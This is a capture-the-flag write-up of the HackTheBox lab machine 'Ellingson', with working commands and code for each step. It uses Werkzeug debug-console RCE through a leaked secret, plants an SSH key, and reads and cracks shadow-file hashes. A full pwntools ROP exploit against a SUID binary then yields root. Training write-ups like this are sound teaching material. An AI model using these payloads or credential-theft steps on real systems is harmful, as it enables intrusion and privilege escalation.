HTB: Ellingson Writeup

Ellingson - HackTheBox Writeup

Machine Information

AttributeDetails
NameEllingson
OSLinux
DifficultyHard
Points40
Release Date15 Jun 2019
IP Address10.129.229.199
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Ellingson is a hard-difficulty Linux machine that demonstrates the dangers of running Flask applications in debug mode, password reuse from compromised backups, and exploiting SUID binaries with modern memory protections. The initial foothold is gained through a Werkzeug debug console exposed by an improperly configured Flask application running behind an Nginx reverse proxy. By triggering a ValueError exception, we access an unlocked debug console that permits arbitrary Python code execution. This grants us RCE as the hal user, who is a member of the adm group. Group membership allows read access to /var/backups/shadow.bak, which contains password hashes for all system users. After cracking the hashes using a hint from the website (passwords contain Love, Secret, Sex, or God), we gain SSH access as margo. Finally, privilege escalation is achieved by exploiting a custom SUID binary (/usr/bin/garbage) vulnerable to buffer overflow. Despite NX and ASLR being enabled, we craft a two-stage ROP chain that first leaks a libc address, calculates the libc base, and then calls setuid(0) followed by system("/bin/sh") to obtain a root shell.

TL;DR: Flask debug console RCE (hal) → adm group reads /var/backups/shadow.bak → crack hash (margo:iamgod$08) → ROP exploit on SUID /usr/bin/garbage with libc leak → root shell.


Reconnaissance

Port Scanning

Terminal window
# Quick all-ports scan
nmap -p- --min-rate=2000 -T4 10.129.229.199

Results:

22/tcp open ssh
80/tcp open http

Only SSH (22) and HTTP (80) are exposed.

Service Enumeration

HTTP (Port 80)

Browsing to http://10.129.229.199/ redirects to /index, indicating the web server is not serving static .html files but rather using URL routing—likely a web framework behind a reverse proxy.

Terminal window
curl -s -o /dev/null -w '%{http_code} %{redirect_url}\n' http://10.129.229.199/
# 301 http://10.129.229.199/index

The site displays a corporate landing page for “Ellingson Mineral Corp” (EMC). Article pages are accessible via /articles/:id:

Terminal window
curl -s http://10.129.229.199/articles/1 | head -20

Returns a full HTML page for article #1. Inspecting article #3 reveals a password hint:

“According to researchers, the words Love, Secret, Sex, and God are among the most common in passwords.”

This hint will be useful later for hash cracking.

Vulnerability Assessment

Werkzeug Debug Console Exposure:

Testing for injection by requesting /articles/' (single quote):

Terminal window
curl -s "http://10.129.229.199/articles/'" | grep -iE 'ValueError|Traceback|console|SECRET|werkzeug'

Output:

<title>ValueError: invalid literal for int() with base 10: &quot;'&quot; // Werkzeug Debugger</title>
href="?__debugger__=yes&amp;cmd=resource&amp;f=console.png">
var TRACEBACK = 139725356630592,
CONSOLE_MODE = false,
SECRET = "P09TKIbKEtOoyeMAc5GN";
<h1>builtins.ValueError</h1>
<p class="errormsg">ValueError: invalid literal for int() with base 10: &quot;'&quot;</p>
<h2 class="traceback">Traceback <em>(most recent call last)</em></h2>

Key findings:

  1. Werkzeug Debugger is active with an interactive console.
  2. The SECRET token is exposed in the page source: P09TKIbKEtOoyeMAc5GN.
  3. Frame IDs are visible in the traceback (e.g., frame-139725353537488).

The Werkzeug debugger, when enabled in a Flask application, provides an interactive Python console for debugging purposes. If the PIN is not set or if the secret is leaked (as in this case), attackers can execute arbitrary Python code on the server.


Initial Foothold

Exploiting the Werkzeug Debug Console

The debug console accepts commands via GET requests with specific parameters:

  • __debugger__=yes
  • cmd=<python_code>
  • frm=<frame_id>
  • s=<SECRET>

Step 1: Extract a fresh frame ID and verify RCE

Each time we trigger the error, new frame IDs are generated. We extract one and test command execution:

Terminal window
# Extract frame ID
TARGET=10.129.229.199
FRM=$(curl -s "http://$TARGET/articles/%27" | grep -oE "frame-[0-9]+" | head -1 | cut -d- -f2)
echo "frame=$FRM"
# frame=139725274721080
# Execute whoami via subprocess
SECRET="P09TKIbKEtOoyeMAc5GN"
curl -s -G "http://$TARGET/articles/%27" \
--data-urlencode "__debugger__=yes" \
--data-urlencode "cmd=__import__(\"subprocess\").check_output(\"id;whoami;hostname\",shell=True).decode()" \
--data-urlencode "frm=$FRM" \
--data-urlencode "s=$SECRET"

Output:

>>> __import__("subprocess").check_output("id;whoami;hostname",shell=True).decode()
<span class="string">'uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)\nhal\nellingson\n'</span>

Confirmed RCE as user hal, who is in the adm group.

Establishing SSH Access

Rather than using the debug console repeatedly, we’ll establish persistent access via SSH.

Step 2: Generate an SSH key pair

Terminal window
# On jump box
ssh-keygen -t ed25519 -f /dev/shm/ell_key -N ""
cat /dev/shm/ell_key.pub
# ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKZ0Fya9yA1Ap0zMTuvr84TZrGVI94sfD7j1ixVdV0xE d3vn0mi@devn0mi-training-kali

Step 3: Write public key to hal’s authorized_keys

Terminal window
TARGET=10.129.229.199
SECRET="P09TKIbKEtOoyeMAc5GN"
PUB=$(cat /dev/shm/ell_key.pub)
FRM=$(curl -s "http://$TARGET/articles/%27" | grep -oE "frame-[0-9]+" | head -1 | cut -d- -f2)
curl -s -G "http://$TARGET/articles/%27" \
--data-urlencode "__debugger__=yes" \
--data-urlencode "cmd=__import__(\"subprocess\").check_output(\"mkdir -p /home/hal/.ssh; echo \\\"$PUB\\\" > /home/hal/.ssh/authorized_keys; chmod 600 /home/hal/.ssh/authorized_keys; ls -la /home/hal/.ssh\",shell=True).decode()" \
--data-urlencode "frm=$FRM" \
--data-urlencode "s=$SECRET"

Output:

'total 20
drwx------ 2 hal hal 4096 Jul 16 2021 .
drwxrwx--- 5 hal hal 4096 Jul 16 2021 ..
-rw------- 1 hal hal 111 Jul 21 17:19 authorized_keys
-rw------- 1 hal hal 1766 Mar 9 2019 id_rsa
-rw-r--r-- 1 hal hal 395 Mar 9 2019 id_rsa.pub'

Step 4: SSH as hal

Terminal window
ssh -i /dev/shm/ell_key hal@10.129.229.199
# uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)

Initial foothold achieved as hal.


Privilege Escalation

Lateral Movement: hal → margo

Discovering Shadow Backup

The adm group typically has access to system logs. Let’s enumerate files readable by this group:

Terminal window
find / -group adm 2>/dev/null

Among the results, /var/backups/shadow.bak stands out:

Terminal window
ls -la /var/backups/shadow.bak
# -rw-r----- 1 root adm 1309 Mar 9 2019 /var/backups/shadow.bak
cat /var/backups/shadow.bak

Shadow backup contents:

root:*:17737:0:99999:7:::
...
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::

Cracking Password Hashes

Remembering the hint from article #3, we create a targeted wordlist from rockyou.txt:

Terminal window
# On jump box
grep -iE 'love|sex|secret|god' /usr/share/wordlists/rockyou.txt > /dev/shm/wordlist
wc -l /dev/shm/wordlist
# 277307 wordlist

Prepare hashes for John:

Terminal window
# Create hashes file (via base64 to avoid heredoc issues)
HASHES='theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/'
echo "$HASHES" | base64 -w0 > /tmp/h64
cat /tmp/h64 | base64 -d > /dev/shm/hashes

Crack with John the Ripper:

Terminal window
cd /dev/shm
export TMPDIR=/dev/shm
timeout 300 john --wordlist=/dev/shm/wordlist --fork=4 --pot=/dev/shm/john.pot /dev/shm/hashes
john --show --pot=/dev/shm/john.pot /dev/shm/hashes

Result: margo:iamgod$08

SSH as margo and retrieve user flag

Terminal window
sshpass -p 'iamgod$08' ssh margo@10.129.229.199
id
# uid=1002(margo) gid=1002(margo) groups=1002(margo)
cat ~/user.txt
# <redacted>

User flag obtained.


Privilege Escalation: margo → root

Discovering SUID Binary

/usr/bin/garbage
find / -perm -4000 -type f 2>/dev/null
# ...
# ...

The /usr/bin/garbage binary is unusual and SUID root.

Terminal window
ls -la /usr/bin/garbage
# -rwsr-xr-x 1 root root 18056 Mar 9 2019 /usr/bin/garbage
file /usr/bin/garbage
# /usr/bin/garbage: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
# dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0,
# BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not stripped

Running the binary:

Terminal window
/usr/bin/garbage
# Enter access password: test
# access denied.

It requires a password. Using strings or analyzing the binary would reveal the password gate: N3veRF3@r1iSh3r3!.

Terminal window
echo 'N3veRF3@r1iSh3r3!' | /usr/bin/garbage
# Enter access password:
# access granted.
# [+] W0rM || Control Application
# [+] ---------------------------
# Select Option
# 1: Check Balance
# 2: Launch
# 3: Cancel
# 4: Exit
# > Unknown option

The binary accepts the password and displays a menu, but the overflow occurs at the password input stage, not the menu.

Binary Analysis

Copy the binary and libc to the jump box for analysis:

Terminal window
scp -i /dev/shm/ell_key hal@10.129.229.199:/usr/bin/garbage /dev/shm/garbage
scp -i /dev/shm/ell_key hal@10.129.229.199:/lib/x86_64-linux-gnu/libc.so.6 /dev/shm/libc.so.6

Check protections:

Terminal window
ldd /usr/bin/garbage
# linux-vdso.so.1 (0x00007fffb2c66000)
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f46e27e6000)
# /lib64/ld-linux-x86-64.so.2 (0x00007f46e2bd7000)
cat /proc/sys/kernel/randomize_va_space
# 2 (ASLR enabled)

Binary protections:

  • NX enabled (non-executable stack)
  • ASLR enabled (randomized libc addresses)
  • No PIE (binary base address is constant)
  • No stack canary

The buffer overflow offset is 136 bytes (128 bytes buffer + 8 bytes saved RBP).

Extracting Gadgets and Offsets

Binary addresses (constant, no PIE):

Terminal window
objdump -d /dev/shm/garbage | grep -E "<puts@plt>:|<main>:"
# 0000000000401050 <puts@plt>:
# 0000000000401619 <main>:
objdump -R /dev/shm/garbage | grep puts
# 0000000000404028 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
  • puts@plt = 0x401050
  • puts@got = 0x404028
  • main = 0x401619

Finding pop rdi; ret gadget:

Terminal window
# Manual search in binary
python3 -c "
data=open('/dev/shm/garbage','rb').read()
import re
for m in re.finditer(b'\x5f\xc3', data):
print(hex(m.start()))
"
# 0x179b
  • pop rdi; ret = 0x40179b

Libc offsets (from target libc):

Terminal window
readelf -s /dev/shm/libc.so.6 | grep -E " puts@@| system@@| setuid@@"
# 23: 00000000000e5970 144 FUNC WEAK DEFAULT 13 setuid@@GLIBC_2.2.5
# 422: 00000000000809c0 512 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.2.5
# 1403: 000000000004f440 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
strings -a -t x /dev/shm/libc.so.6 | grep "/bin/sh"
# 1b3e9a /bin/sh
  • puts offset in libc = 0x809c0
  • system offset in libc = 0x4f440
  • setuid offset in libc = 0xe5970
  • /bin/sh string offset = 0x1b3e9a

ROP Exploit Strategy

Since ASLR randomizes libc addresses, we need a two-stage exploit:

Stage 1: Leak libc address

  1. Overflow the buffer
  2. Call puts(puts@got) to leak the runtime address of puts in libc
  3. Return to main to restart the binary

Stage 2: Gain root shell

  1. Calculate libc base using leaked puts address
  2. Call setuid(0) to set effective UID to root
  3. Call system("/bin/sh") to spawn root shell

Building the Exploit

#!/usr/bin/python3
from pwn import *
context(os="linux", arch="amd64", log_level="info")
# SSH connection to target as margo
s = ssh(host="10.129.229.199", user="margo", password="iamgod$08")
# Buffer size and addresses
buf_size = 136
puts_plt = 0x401050
puts_got = 0x404028
pop_rdi = 0x40179b
main_addr= 0x401619
# Libc offsets (from readelf)
puts_glibc = 0x809c0
system_glibc = 0x4f440
setuid_glibc = 0xe5970
binsh_glibc = 0x1b3e9a
# Stage 1: Leak puts@got address
p = s.process("/usr/bin/garbage")
p.recvuntil(b"Enter access password:")
# ROP chain to leak puts
buf = b"A" * buf_size
buf += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(buf)
# Receive leaked address
p.recvuntil(b"access denied.\n")
leak = p.recvline().strip()
leaked = u64(leak.ljust(8, b"\x00"))
log.success("leaked puts @ %#x" % leaked)
# Calculate libc base
base = leaked - puts_glibc
log.success("libc base @ %#x" % base)
# Calculate addresses for stage 2
system = base + system_glibc
setuid = base + setuid_glibc
binsh = base + binsh_glibc
# Stage 2: setuid(0) ; system("/bin/sh")
p.recvuntil(b"Enter access password:")
buf2 = b"A" * buf_size
buf2 += p64(pop_rdi) + p64(0) + p64(setuid)
buf2 += p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(buf2)
# Interact with root shell
sleep(1)
p.sendline(b"id; cat /root/root.txt")
sleep(1)
print(p.recv(timeout=5).decode(errors="replace"))
p.interactive()

Why this works:

  1. Leaking libc: We call puts(puts@got), which dereferences the GOT entry for puts and prints the actual runtime address. Since the binary is dynamically linked, puts@got holds the resolved address of puts in libc.

  2. Calculating base: libc_base = leaked_puts - puts_offset_in_libc. All functions in libc maintain fixed offsets from the base, so once we know the base, we can calculate any function address.

  3. setuid(0): Calling setuid(0) before system() is critical. Without it, even though the binary is SUID, the shell spawned by system() would drop privileges. By explicitly setting UID to 0, we ensure the spawned shell runs as root.

  4. No PIE: The binary’s own addresses (PLT, GOT, gadgets) remain constant across runs, allowing us to reliably use them in our ROP chain.

Executing the Exploit

Save the exploit to /dev/shm/ell/exploit.py (in a clean directory to avoid module shadowing issues) and run:

Terminal window
cd /dev/shm/ell
TERM=xterm python3 exploit.py

Output:

[+] leaked puts @ 0x7fce1a5619c0
[+] libc base @ 0x7fce1a4e1000
[*] Switching to interactive mode
access denied.
# uid=0(root) gid=1002(margo) groups=1002(margo)
<redacted>

Root shell obtained. Root flag retrieved.


Attack Chain Summary

Werkzeug Debug Console (ValueError → SECRET leak)
→ RCE as hal (subprocess.check_output)
→ SSH access (authorized_keys write)
→ adm group → /var/backups/shadow.bak
→ Crack margo hash (love/sex/secret/god wordlist)
→ SSH as margo
→ SUID /usr/bin/garbage analysis
→ ROP exploit (leak puts@got → calculate libc base)
→ setuid(0) + system("/bin/sh")
→ Root shell

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlHTTP requests and Werkzeug debugger interaction
ssh-keygenGenerate SSH key pair for persistence
grepExtract patterns (frame IDs, secrets, wordlist filtering)
johnCrack SHA-512 password hashes
objdumpDisassemble binary to find PLT/GOT addresses
readelfExtract symbol offsets from libc
stringsLocate /bin/sh string in libc
pwntoolsROP exploit development and process automation
scpTransfer binaries for local analysis

Key Learnings

Techniques Practiced

  • Werkzeug debug console exploitation: Leveraging Flask debug mode with exposed secrets to achieve remote code execution
  • Linux group-based privilege escalation: Exploiting adm group membership to access sensitive backup files
  • Password cracking with contextual wordlists: Using application hints to create targeted wordlists for efficient hash cracking
  • Return-Oriented Programming (ROP): Bypassing NX and ASLR protections through libc address leaks and chained gadgets
  • Multi-stage binary exploitation: Leaking runtime addresses, calculating offsets, and re-entering execution flow
  • SUID exploitation with setuid(): Understanding why setuid(0) must precede system() calls in SUID contexts

Lessons Learned

  1. Never deploy Flask applications with debug=True in production. The Werkzeug debugger provides an interactive Python console that, if accessible, grants complete control over the application. Even if PIN-protected, exposing the secret in HTML comments or JavaScript renders the protection useless.

  2. Group memberships matter. Users in the adm group can read system logs and backup files, which may contain sensitive information like shadow file backups. Always audit group memberships and file permissions.

  3. Password hints in content are exploitable. The article mentioning common password patterns allowed us to reduce the cracking space from 14 million to 277,000 passwords, making the crack feasible.

  4. ASLR bypass via information leak is a fundamental exploit primitive. Modern exploitation often requires leaking addresses before executing payloads. Understanding the PLT/GOT mechanism in dynamically linked binaries is essential for ROP-based exploits.

  5. SUID binaries that don’t properly sanitize input are critical security risks. Even with NX and ASLR, a buffer overflow in an SUID binary can be exploited through ROP chains. The absence of PIE and stack canaries made this exploitation straightforward.

  6. Always call setuid(0) before spawning shells in SUID contexts. Many modern shells (bash, dash) drop privileges when they detect SUID/SGID execution. Explicitly setting UID to 0 ensures the spawned process inherits root privileges.

  7. Environment matters when developing exploits. The jump box had disk space issues (/tmp full) and module shadowing problems (pwn.py, dis.py in /dev/shm). Running exploits in clean, isolated directories prevents unexpected failures.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup drew explanatory context from the official HackTheBox writeup for Ellingson (Document No D19.100.39, prepared by MinatoTW) to clarify why certain techniques work (e.g., ROP mechanics, setuid requirements, GOT/PLT relationships). All specific values—IP addresses, command outputs, credentials, leaked addresses, and flags—are from the live solve documented above.